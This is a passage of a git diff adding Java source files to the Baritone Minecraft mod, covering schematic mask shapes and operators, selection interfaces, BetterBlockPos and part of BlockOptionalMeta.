3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask; + +/** + * @author Brady + */ +public abstract class AbstractMask implements Mask { + + private final int widthX; + private final int heightY; + private final int lengthZ; + + public AbstractMask(int widthX, int heightY, int lengthZ) { + this.widthX = widthX; + this.heightY = heightY; + this.lengthZ = lengthZ; + } + + @Override + public int widthX() { + return this.widthX; + } + + @Override + public int heightY() { + return this.heightY; + } + + @Override + public int lengthZ() { + return this.lengthZ; + } +} diff --git a/src/baritone/api/schematic/mask/Mask.java b/src/baritone/api/schematic/mask/Mask.java new file mode 100644 index 00000000..86ad2722 --- /dev/null +++ b/src/baritone/api/schematic/mask/Mask.java @@ -0,0 +1,60 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask; + +import baritone.api.schematic.mask.operator.BinaryOperatorMask; +import baritone.api.schematic.mask.operator.NotMask; +import baritone.api.utils.BooleanBinaryOperators; +import net.minecraft.block.BlockState; + +/** + * @author Brady + */ +public interface Mask { + + /** + * @param x The relative x position of the block + * @param y The relative y position of the block + * @param z The relative z position of the block + * @param currentState The current state of that block in the world, may be {@code null} + * @return Whether the given position is included in this mask + */ + boolean partOfMask(int x, int y, int z, BlockState currentState); + + int widthX(); + + int heightY(); + + int lengthZ(); + + default Mask not() { + return new NotMask(this); + } + + default Mask union(Mask other) { + return new BinaryOperatorMask(this, other, BooleanBinaryOperators.OR); + } + + default Mask intersection(Mask other) { + return new BinaryOperatorMask(this, other, BooleanBinaryOperators.AND); + } + + default Mask xor(Mask other) { + return new BinaryOperatorMask(this, other, BooleanBinaryOperators.XOR); + } +} diff --git a/src/baritone/api/schematic/mask/PreComputedMask.java b/src/baritone/api/schematic/mask/PreComputedMask.java new file mode 100644 index 00000000..aed26cc9 --- /dev/null +++ b/src/baritone/api/schematic/mask/PreComputedMask.java @@ -0,0 +1,44 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask; + +/** + * @author Brady + */ +final class PreComputedMask extends AbstractMask implements StaticMask { + + private final boolean[][][] mask; + + public PreComputedMask(StaticMask mask) { + super(mask.widthX(), mask.heightY(), mask.lengthZ()); + + this.mask = new boolean[this.heightY()][this.lengthZ()][this.widthX()]; + for (int y = 0; y < this.heightY(); y++) { + for (int z = 0; z < this.lengthZ(); z++) { + for (int x = 0; x < this.widthX(); x++) { + this.mask[y][z][x] = mask.partOfMask(x, y, z); + } + } + } + } + + @Override + public boolean partOfMask(int x, int y, int z) { + return this.mask[y][z][x]; + } +} diff --git a/src/baritone/api/schematic/mask/StaticMask.java b/src/baritone/api/schematic/mask/StaticMask.java new file mode 100644 index 00000000..e64bf881 --- /dev/null +++ b/src/baritone/api/schematic/mask/StaticMask.java @@ -0,0 +1,82 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask; + +import baritone.api.schematic.mask.operator.BinaryOperatorMask; +import baritone.api.schematic.mask.operator.NotMask; +import baritone.api.utils.BooleanBinaryOperators; +import net.minecraft.block.BlockState; + +/** + * A mask that is context-free. In other words, it doesn't require the current block state to determine if a relative + * position is a part of the mask. + * + * @author Brady + */ +public interface StaticMask extends Mask { + + /** + * Determines if a given relative coordinate is included in this mask, without the need for the current block state. + * + * @param x The relative x position of the block + * @param y The relative y position of the block + * @param z The relative z position of the block + * @return Whether the given position is included in this mask + */ + boolean partOfMask(int x, int y, int z); + + /** + * Implements the parent {@link Mask#partOfMask partOfMask function} by calling the static function + * provided in this functional interface without needing the {@link BlockState} argument. This {@code default} + * implementation should NOT be overriden. + * + * @param x The relative x position of the block + * @param y The relative y position of the block + * @param z The relative z position of the block + * @param currentState The current state of that block in the world, may be {@code null} + * @return Whether the given position is included in this mask + */ + @Override + default boolean partOfMask(int x, int y, int z, BlockState currentState) { + return this.partOfMask(x, y, z); + } + + @Override + default StaticMask not() { + return new NotMask.Static(this); + } + + default StaticMask union(StaticMask other) { + return new BinaryOperatorMask.Static(this, other, BooleanBinaryOperators.OR); + } + + default StaticMask intersection(StaticMask other) { + return new BinaryOperatorMask.Static(this, other, BooleanBinaryOperators.AND); + } + + default StaticMask xor(StaticMask other) { + return new BinaryOperatorMask.Static(this, other, BooleanBinaryOperators.XOR); + } + + /** + * Returns a pre-computed mask using {@code this} function, with the specified size parameters. + */ + default StaticMask compute() { + return new PreComputedMask(this); + } +} diff --git a/src/baritone/api/schematic/mask/operator/BinaryOperatorMask.java b/src/baritone/api/schematic/mask/operator/BinaryOperatorMask.java new file mode 100644 index 00000000..39462e10 --- /dev/null +++ b/src/baritone/api/schematic/mask/operator/BinaryOperatorMask.java @@ -0,0 +1,79 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask.operator; + +import baritone.api.schematic.mask.AbstractMask; +import baritone.api.schematic.mask.Mask; +import baritone.api.schematic.mask.StaticMask; +import baritone.api.utils.BooleanBinaryOperator; +import net.minecraft.block.BlockState; + +/** + * @author Brady + */ +public final class BinaryOperatorMask extends AbstractMask { + + private final Mask a; + private final Mask b; + private final BooleanBinaryOperator operator; + + public BinaryOperatorMask(Mask a, Mask b, BooleanBinaryOperator operator) { + super(Math.max(a.widthX(), b.widthX()), Math.max(a.heightY(), b.heightY()), Math.max(a.lengthZ(), b.lengthZ())); + this.a = a; + this.b = b; + this.operator = operator; + } + + @Override + public boolean partOfMask(int x, int y, int z, BlockState currentState) { + return this.operator.applyAsBoolean( + partOfMask(a, x, y, z, currentState), + partOfMask(b, x, y, z, currentState) + ); + } + + private static boolean partOfMask(Mask mask, int x, int y, int z, BlockState currentState) { + return x < mask.widthX() && y < mask.heightY() && z < mask.lengthZ() && mask.partOfMask(x, y, z, currentState); + } + + public static final class Static extends AbstractMask implements StaticMask { + + private final StaticMask a; + private final StaticMask b; + private final BooleanBinaryOperator operator; + + public Static(StaticMask a, StaticMask b, BooleanBinaryOperator operator) { + super(Math.max(a.widthX(), b.widthX()), Math.max(a.heightY(), b.heightY()), Math.max(a.lengthZ(), b.lengthZ())); + this.a = a; + this.b = b; + this.operator = operator; + } + + @Override + public boolean partOfMask(int x, int y, int z) { + return this.operator.applyAsBoolean( + partOfMask(a, x, y, z), + partOfMask(b, x, y, z) + ); + } + + private static boolean partOfMask(StaticMask mask, int x, int y, int z) { + return x < mask.widthX() && y < mask.heightY() && z < mask.lengthZ() && mask.partOfMask(x, y, z); + } + } +} diff --git a/src/baritone/api/schematic/mask/operator/NotMask.java b/src/baritone/api/schematic/mask/operator/NotMask.java new file mode 100644 index 00000000..f95f406a --- /dev/null +++ b/src/baritone/api/schematic/mask/operator/NotMask.java @@ -0,0 +1,56 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask.operator; + +import baritone.api.schematic.mask.AbstractMask; +import baritone.api.schematic.mask.Mask; +import baritone.api.schematic.mask.StaticMask; +import net.minecraft.block.BlockState; + +/** + * @author Brady + */ +public final class NotMask extends AbstractMask { + + private final Mask source; + + public NotMask(Mask source) { + super(source.widthX(), source.heightY(), source.lengthZ()); + this.source = source; + } + + @Override + public boolean partOfMask(int x, int y, int z, BlockState currentState) { + return !this.source.partOfMask(x, y, z, currentState); + } + + public static final class Static extends AbstractMask implements StaticMask { + + private final StaticMask source; + + public Static(StaticMask source) { + super(source.widthX(), source.heightY(), source.lengthZ()); + this.source = source; + } + + @Override + public boolean partOfMask(int x, int y, int z) { + return !this.source.partOfMask(x, y, z); + } + } +} diff --git a/src/baritone/api/schematic/mask/shape/CylinderMask.java b/src/baritone/api/schematic/mask/shape/CylinderMask.java new file mode 100644 index 00000000..deb40bad --- /dev/null +++ b/src/baritone/api/schematic/mask/shape/CylinderMask.java @@ -0,0 +1,69 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask.shape; + +import baritone.api.schematic.mask.AbstractMask; +import baritone.api.schematic.mask.StaticMask; +import net.minecraft.util.Direction; + +/** + * @author Brady + */ +public final class CylinderMask extends AbstractMask implements StaticMask { + + private final double centerA; + private final double centerB; + private final double radiusSqA; + private final double radiusSqB; + private final boolean filled; + private final Direction.Axis alignment; + + public CylinderMask(int widthX, int heightY, int lengthZ, boolean filled, Direction.Axis alignment) { + super(widthX, heightY, lengthZ); + this.centerA = this.getA(widthX, heightY, alignment) / 2.0; + this.centerB = this.getB(heightY, lengthZ, alignment) / 2.0; + this.radiusSqA = (this.centerA - 1) * (this.centerA - 1); + this.radiusSqB = (this.centerB - 1) * (this.centerB - 1); + this.filled = filled; + this.alignment = alignment; + } + + @Override + public boolean partOfMask(int x, int y, int z) { + double da = Math.abs((this.getA(x, y, this.alignment) + 0.5) - this.centerA); + double db = Math.abs((this.getB(y, z, this.alignment) + 0.5) - this.centerB); + if (this.outside(da, db)) { + return false; + } + return this.filled + || this.outside(da + 1, db) + || this.outside(da, db + 1); + } + + private boolean outside(double da, double db) { + return da * da / this.radiusSqA + db * db / this.radiusSqB > 1; + } + + private static int getA(int x, int y, Direction.Axis alignment) { + return alignment == Direction.Axis.X ? y : x; + } + + private static int getB(int y, int z, Direction.Axis alignment) { + return alignment == Direction.Axis.Z ? y : z; + } +} diff --git a/src/baritone/api/schematic/mask/shape/SphereMask.java b/src/baritone/api/schematic/mask/shape/SphereMask.java new file mode 100644 index 00000000..d805c98a --- /dev/null +++ b/src/baritone/api/schematic/mask/shape/SphereMask.java @@ -0,0 +1,64 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.mask.shape; + +import baritone.api.schematic.mask.AbstractMask; +import baritone.api.schematic.mask.StaticMask; + +/** + * @author Brady + */ +public final class SphereMask extends AbstractMask implements StaticMask { + + private final double centerX; + private final double centerY; + private final double centerZ; + private final double radiusSqX; + private final double radiusSqY; + private final double radiusSqZ; + private final boolean filled; + + public SphereMask(int widthX, int heightY, int lengthZ, boolean filled) { + super(widthX, heightY, lengthZ); + this.centerX = widthX / 2.0; + this.centerY = heightY / 2.0; + this.centerZ = lengthZ / 2.0; + this.radiusSqX = this.centerX * this.centerX; + this.radiusSqY = this.centerY * this.centerY; + this.radiusSqZ = this.centerZ * this.centerZ; + this.filled = filled; + } + + @Override + public boolean partOfMask(int x, int y, int z) { + double dx = Math.abs((x + 0.5) - this.centerX); + double dy = Math.abs((y + 0.5) - this.centerY); + double dz = Math.abs((z + 0.5) - this.centerZ); + if (this.outside(dx, dy, dz)) { + return false; + } + return this.filled + || this.outside(dx + 1, dy, dz) + || this.outside(dx, dy + 1, dz) + || this.outside(dx, dy, dz + 1); + } + + private boolean outside(double dx, double dy, double dz) { + return dx * dx / this.radiusSqX + dy * dy / this.radiusSqY + dz * dz / this.radiusSqZ > 1; + } +} diff --git a/src/baritone/api/selection/ISelection.java b/src/baritone/api/selection/ISelection.java new file mode 100644 index 00000000..a2f70633 --- /dev/null +++ b/src/baritone/api/selection/ISelection.java @@ -0,0 +1,91 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.selection; + +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.Direction; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.vector.Vector3i; + +/** + * A selection is an immutable object representing the current selection. The selection is commonly used for certain + * types of build commands, however it can be used for anything. + */ +public interface ISelection { + + /** + * @return The first corner of this selection. This is meant to preserve the user's original first corner. + */ + BetterBlockPos pos1(); + + /** + * @return The second corner of this selection. This is meant to preserve the user's original second corner. + */ + BetterBlockPos pos2(); + + /** + * @return The {@link BetterBlockPos} with the lowest x, y, and z position in the selection. + */ + BetterBlockPos min(); + + /** + * @return The opposite corner from the {@link #min()}. + */ + BetterBlockPos max(); + + /** + * @return The size of this ISelection. + */ + Vector3i size(); + + /** + * @return An {@link AxisAlignedBB} encompassing all blocks in this selection. + */ + AxisAlignedBB aabb(); + + /** + * Returns a new {@link ISelection} expanded in the specified direction by the specified number of blocks. + * + * @param direction The direction to expand the selection. + * @param blocks How many blocks to expand it. + * @return A new selection, expanded as specified. + */ + ISelection expand(Direction direction, int blocks); + + /** + * Returns a new {@link ISelection} contracted in the specified direction by the specified number of blocks. + *

+ * Note that, for example, if the direction specified is UP, the bottom of the selection will be shifted up. If it + * is DOWN, the top of the selection will be shifted down. + * + * @param direction The direction to contract the selection. + * @param blocks How many blocks to contract it. + * @return A new selection, contracted as specified. + */ + ISelection contract(Direction direction, int blocks); + + /** + * Returns a new {@link ISelection} shifted in the specified direction by the specified number of blocks. This moves + * the whole selection. + * + * @param direction The direction to shift the selection. + * @param blocks How many blocks to shift it. + * @return A new selection, shifted as specified. + */ + ISelection shift(Direction direction, int blocks); +} diff --git a/src/baritone/api/selection/ISelectionManager.java b/src/baritone/api/selection/ISelectionManager.java new file mode 100644 index 00000000..4f3ba2fe --- /dev/null +++ b/src/baritone/api/selection/ISelectionManager.java @@ -0,0 +1,116 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.selection; + +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.Direction; + +/** + * The selection manager handles setting Baritone's selections. You can set the selection here, as well as retrieving + * the current selection. + */ +public interface ISelectionManager { + + /** + * Adds a new selection. The added selection is returned. + * + * @param selection The new selection to add. + */ + ISelection addSelection(ISelection selection); + + /** + * Adds a new {@link ISelection} constructed from the given block positions. The new selection is returned. + * + * @param pos1 One corner of the selection + * @param pos2 The new corner of the selection + */ + ISelection addSelection(BetterBlockPos pos1, BetterBlockPos pos2); + + /** + * Removes the selection from the current selections. + * + * @param selection The selection to remove. + * @return The removed selection. + */ + ISelection removeSelection(ISelection selection); + + /** + * Removes all selections. + * + * @return The selections that were removed, sorted from oldest to newest.. + */ + ISelection[] removeAllSelections(); + + /** + * @return The current selections, sorted from oldest to newest. + */ + ISelection[] getSelections(); + + /** + * For anything expecting only one selection, this method is provided. However, to enforce multi-selection support, + * this method will only return a selection if there is ONLY one. + * + * @return The only selection, or null if there isn't only one. + */ + ISelection getOnlySelection(); + + /** + * This method will always return the last selection. ONLY use this if you want to, for example, modify the most + * recent selection based on user input. ALWAYS use {@link #getOnlySelection()} or, ideally, + * {@link #getSelections()} for retrieving the content of selections. + * + * @return The last selection, or null if it doesn't exist. + */ + ISelection getLastSelection(); + + /** + * Replaces the specified {@link ISelection} with one expanded in the specified direction by the specified number of + * blocks. Returns the new selection. + * + * @param selection The selection to expand. + * @param direction The direction to expand the selection. + * @param blocks How many blocks to expand it. + * @return The new selection, expanded as specified. + */ + ISelection expand(ISelection selection, Direction direction, int blocks); + + /** + * Replaces the specified {@link ISelection} with one contracted in the specified direction by the specified number + * of blocks. + *

+ * Note that, for example, if the direction specified is UP, the bottom of the selection will be shifted up. If it + * is DOWN, the top of the selection will be shifted down. + * + * @param selection The selection to contract. + * @param direction The direction to contract the selection. + * @param blocks How many blocks to contract it. + * @return The new selection, contracted as specified. + */ + ISelection contract(ISelection selection, Direction direction, int blocks); + + /** + * Replaces the specified {@link ISelection} with one shifted in the specified direction by the specified number of + * blocks. This moves the whole selection. + * + * @param selection The selection to shift. + * @param direction The direction to shift the selection. + * @param blocks How many blocks to shift it. + * @return The new selection, shifted as specified. + */ + ISelection shift(ISelection selection, Direction direction, int blocks); +} diff --git a/src/baritone/api/utils/BetterBlockPos.java b/src/baritone/api/utils/BetterBlockPos.java new file mode 100644 index 00000000..83e8b68a --- /dev/null +++ b/src/baritone/api/utils/BetterBlockPos.java @@ -0,0 +1,215 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.math.vector.Vector3i; + +import javax.annotation.Nonnull; + +/** + * A better BlockPos that has fewer hash collisions (and slightly more performant offsets) + *

+ * Is it really faster to subclass BlockPos and calculate a hash in the constructor like this, taking everything into account? + * Yes. 20% faster actually. It's called BETTER BlockPos for a reason. Source: + * Benchmark Spreadsheet + * + * @author leijurv + */ +public final class BetterBlockPos extends BlockPos { + + public static final BetterBlockPos ORIGIN = new BetterBlockPos(0, 0, 0); + + public final int x; + public final int y; + public final int z; + + public BetterBlockPos(int x, int y, int z) { + super(x, y, z); + this.x = x; + this.y = y; + this.z = z; + } + + public BetterBlockPos(double x, double y, double z) { + this(MathHelper.floor(x), MathHelper.floor(y), MathHelper.floor(z)); + } + + public BetterBlockPos(BlockPos pos) { + this(pos.getX(), pos.getY(), pos.getZ()); + } + + /** + * Like constructor but returns null if pos is null, good if you just need to possibly censor coordinates + * + * @param pos The BlockPos, possibly null, to convert + * @return A BetterBlockPos or null if pos was null + */ + public static BetterBlockPos from(BlockPos pos) { + if (pos == null) { + return null; + } + + return new BetterBlockPos(pos); + } + + @Override + public int hashCode() { + return (int) longHash(x, y, z); + } + + public static long longHash(BetterBlockPos pos) { + return longHash(pos.x, pos.y, pos.z); + } + + public static long longHash(int x, int y, int z) { + // TODO use the same thing as BlockPos.fromLong(); + // invertibility would be incredibly useful + /* + * This is the hashcode implementation of Vec3i (the superclass of the class which I shall not name) + * + * public int hashCode() { + * return (this.getY() + this.getZ() * 31) * 31 + this.getX(); + * } + * + * That is terrible and has tons of collisions and makes the HashMap terribly inefficient. + * + * That's why we grab out the X, Y, Z and calculate our own hashcode + */ + long hash = 3241; + hash = 3457689L * hash + x; + hash = 8734625L * hash + y; + hash = 2873465L * hash + z; + return hash; + } + + @Override + public boolean equals(Object o) { + if (o == null) { + return false; + } + if (o instanceof BetterBlockPos) { + BetterBlockPos oth = (BetterBlockPos) o; + return oth.x == x && oth.y == y && oth.z == z; + } + // during path execution, like "if (whereShouldIBe.equals(whereAmI)) {" + // sometimes we compare a BlockPos to a BetterBlockPos + BlockPos oth = (BlockPos) o; + return oth.getX() == x && oth.getY() == y && oth.getZ() == z; + } + + @Override + public BetterBlockPos up() { + // this is unimaginably faster than blockpos.up + // that literally calls + // this.up(1) + // which calls this.offset(Direction.UP, 1) + // which does return n == 0 ? this : new BlockPos(this.getX() + facing.getXOffset() * n, this.getY() + facing.getYOffset() * n, this.getZ() + facing.getZOffset() * n); + + // how many function calls is that? up(), up(int), offset(Direction, int), new BlockPos, getX, getXOffset, getY, getYOffset, getZ, getZOffset + // that's ten. + // this is one function call. + return new BetterBlockPos(x, y + 1, z); + } + + @Override + public BetterBlockPos up(int amt) { + // see comment in up() + return amt == 0 ? this : new BetterBlockPos(x, y + amt, z); + } + + @Override + public BetterBlockPos down() { + // see comment in up() + return new BetterBlockPos(x, y - 1, z); + } + + @Override + public BetterBlockPos down(int amt) { + // see comment in up() + return amt == 0 ? this : new BetterBlockPos(x, y - amt, z); + } + + @Override + public BetterBlockPos offset(Direction dir) { + Vector3i vec = dir.getDirectionVec(); + return new BetterBlockPos(x + vec.getX(), y + vec.getY(), z + vec.getZ()); + } + + @Override + public BetterBlockPos offset(Direction dir, int dist) { + if (dist == 0) { + return this; + } + Vector3i vec = dir.getDirectionVec(); + return new BetterBlockPos(x + vec.getX() * dist, y + vec.getY() * dist, z + vec.getZ() * dist); + } + + @Override + public BetterBlockPos north() { + return new BetterBlockPos(x, y, z - 1); + } + + @Override + public BetterBlockPos north(int amt) { + return amt == 0 ? this : new BetterBlockPos(x, y, z - amt); + } + + @Override + public BetterBlockPos south() { + return new BetterBlockPos(x, y, z + 1); + } + + @Override + public BetterBlockPos south(int amt) { + return amt == 0 ? this : new BetterBlockPos(x, y, z + amt); + } + + @Override + public BetterBlockPos east() { + return new BetterBlockPos(x + 1, y, z); + } + + @Override + public BetterBlockPos east(int amt) { + return amt == 0 ? this : new BetterBlockPos(x + amt, y, z); + } + + @Override + public BetterBlockPos west() { + return new BetterBlockPos(x - 1, y, z); + } + + @Override + public BetterBlockPos west(int amt) { + return amt == 0 ? this : new BetterBlockPos(x - amt, y, z); + } + + @Override + @Nonnull + public String toString() { + return String.format( + "BetterBlockPos{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } +} diff --git a/src/baritone/api/utils/BlockOptionalMeta.java b/src/baritone/api/utils/BlockOptionalMeta.java new file mode 100644 index 00000000..87603c66 --- /dev/null +++ b/src/baritone/api/utils/BlockOptionalMeta.java @@ -0,0 +1,229 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.utils.accessor.IItemStack; +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.ImmutableSet; +import io.netty.util.concurrent.ThreadPerTaskExecutor; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.item.Item; +import net.minecraft.item.ItemStack; +import net.minecraft.loot.*; +import net.minecraft.resources.*; +import net.minecraft.state.Property; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.Unit; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3d; + +import javax.annotation.Nonnull; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Random; +import java.util.Set; +import java.util.concurrent.CompletableFuture; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; + +public final class BlockOptionalMeta { + // id or id[] or id[properties] where id and properties are any text with at least one character + private static final Pattern PATTERN = Pattern.compile("^(?.+?)(?:\\[(?.+?)?\\])?$"); + + private final Block block; + private final String propertiesDescription; // exists so toString() can return something more useful than a list of all blockstates + private final Set blockstates; + private final Set stateHashes; + private final Set stackHashes; + private static LootTableManager manager; + private static LootPredicateManager predicate = new LootPredicateManager(); + private static Map> drops = new HashMap<>(); + + public BlockOptionalMeta(@Nonnull Block block) { + this.block = block; + this.propertiesDescription = "{}"; + this.blockstates = getStates(block, Collections.emptyMap()); + this.stateHashes = getStateHashes(blockstates); + this.stackHashes = getStackHashes(blockstates); + } + + public BlockOptionalMeta(@Nonnull String selector) { + Matcher matcher = PATTERN.matcher(selector); + + if (!matcher.find()) { + throw new IllegalArgumentException("invalid block selector"); + } + + block = BlockUtils.stringToBlockRequired(matcher.group("id")); + + String props = matcher.group("properties"); + Map, ?> properties = props == null || props.equals("") ? Collections.emptyMap() : parseProperties(block, props); + + propertiesDescription = props == null ? "{}" : "{" + props.replace("=", ":") + "}"; + blockstates = getStates(block, properties); + stateHashes = getStateHashes(blockstates); + stackHashes = getStackHashes(blockstates); + } + + private static , P extends Property> P castToIProperty(Object value) { + //noinspection unchecked + return (P) value; + } + + private static Map, ?> parseProperties(Block block, String raw) { + ImmutableMap.Builder, Object> builder = ImmutableMap.builder(); + for (String pair : raw.split(",")) { + String[] parts = pair.split("="); + if (parts.length != 2) { + throw new IllegalArgumentException(String.format("\"%s\" is not a valid property-value pair", pair)); + } + String rawKey = parts[0]; + String rawValue = parts[1]; + Property key = block.getStateContainer().getProperty(rawKey); + Comparable value = castToIProperty(key).parseValue(rawValue) + .orElseThrow(() -> new IllegalArgumentException(String.format( + "\"%s\" is not a valid value for %s on %s", + rawValue, key, block + ))); + builder.put(key, value); + } + return builder.build(); + } + + private static Set getStates(@Nonnull Block block, @Nonnull Map, ?> properties) { + return block.getStateContainer().getValidStates().stream() + .filter(blockstate -> properties.entrySet().stream().allMatch(entry -> + blockstate.get(entry.getKey()) == entry.getValue() + )) + .collect(Collectors.toSet()); + } + + private static ImmutableSet getStateHashes(Set blockstates) { + return ImmutableSet.copyOf( + blockstates.stream() + .map(BlockState::hashCode) + .toArray(Integer[]::new) + ); + } + + private static ImmutableSet getStackHashes(Set blockstates) { + //noinspection ConstantConditions + return ImmutableSet.copyOf( + blockstates.stream() + .flatMap(state -> drops(state.getBlock()) + .stream() + .map(item -> new ItemStack(item, 1)) + ) + .map(stack -> ((IItemStack) (Object) stack).getBaritoneHash()) + .toArray(Integer[]::new) + ); + } + + public Block getBlock() { + return block; + } + + public boolean matches(@Nonnull Block block) { + return block == this.block; + } + + public boolean matches(@Nonnull BlockState blockstate) { + Block block = blockstate.getBlock(); + return block == this.block && stateHashes.contains(blockstate.hashCode()); + } + + public boolean matches(ItemStack stack) { + //noinspection ConstantConditions + int hash = ((IItemStack) (Object) stack).getBaritoneHash(); + + hash -= stack.getDamage(); + + return stackHashes.contains(hash); + } + + @Override + public String toString() { + return String.format("BlockOptionalMeta{block=%s,properties=%s}", block, propertiesDescription); + } + + public BlockState getAnyBlockState() { + if (blockstates.size() > 0) { + return blockstates.iterator().next(); + } + + return null; + } + + public Set getAllBlockStates() { + return blockstates; + } + + public Set stackHashes() { + return stackHashes; + } + + public static LootTableManager getManager() { + if (manager == null) { + ResourcePackList rpl = new ResourcePackList(ResourcePackInfo::new, new ServerPackFinder()); + rpl.reloadPacksFromFinders(); + IResourcePack thePack = rpl.getAllPacks().iterator().next().getResourcePack(); + 